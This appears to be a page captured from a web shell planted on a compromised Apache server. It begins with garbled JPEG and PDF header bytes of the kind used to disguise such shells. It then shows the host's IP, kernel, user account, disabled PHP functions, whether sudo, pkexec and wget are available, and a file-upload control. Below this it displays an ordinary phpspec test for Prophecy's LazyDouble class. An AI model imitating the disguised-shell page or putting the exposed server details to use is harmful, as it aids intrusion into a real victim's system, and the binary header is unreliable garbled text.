ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.129 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/vendor/phpspec/prophecy/spec/Prophecy/Doubler/ |
Upload File : |
<?php namespace spec\Prophecy\Doubler; use PhpSpec\ObjectBehavior; use Prophecy\Doubler\Doubler; use Prophecy\Prophecy\ProphecySubjectInterface; class LazyDoubleSpec extends ObjectBehavior { function let(Doubler $doubler) { $this->beConstructedWith($doubler); } function it_returns_anonymous_double_instance_by_default($doubler, ProphecySubjectInterface $double) { $doubler->double(null, array())->willReturn($double); $this->getInstance()->shouldReturn($double); } function it_returns_class_double_instance_if_set($doubler, ProphecySubjectInterface $double, \ReflectionClass $class) { $doubler->double($class, array())->willReturn($double); $this->setParentClass($class); $this->getInstance()->shouldReturn($double); } function it_returns_same_double_instance_if_called_2_times( $doubler, ProphecySubjectInterface $double1, ProphecySubjectInterface $double2 ) { $doubler->double(null, array())->willReturn($double1); $doubler->double(null, array())->willReturn($double2); $this->getInstance()->shouldReturn($double2); $this->getInstance()->shouldReturn($double2); } function its_setParentClass_throws_ClassNotFoundException_if_class_not_found() { $this->shouldThrow('Prophecy\Exception\Doubler\ClassNotFoundException') ->duringSetParentClass('SomeUnexistingClass'); } function its_setParentClass_throws_exception_if_prophecy_is_already_created( $doubler, ProphecySubjectInterface $double ) { $doubler->double(null, array())->willReturn($double); $this->getInstance(); $this->shouldThrow('Prophecy\Exception\Doubler\DoubleException') ->duringSetParentClass('stdClass'); } function its_addInterface_throws_InterfaceNotFoundException_if_no_interface_found() { $this->shouldThrow('Prophecy\Exception\Doubler\InterfaceNotFoundException') ->duringAddInterface('SomeUnexistingInterface'); } function its_addInterface_throws_exception_if_prophecy_is_already_created( $doubler, ProphecySubjectInterface $double ) { $doubler->double(null, array())->willReturn($double); $this->getInstance(); $this->shouldThrow('Prophecy\Exception\Doubler\DoubleException') ->duringAddInterface('ArrayAccess'); } }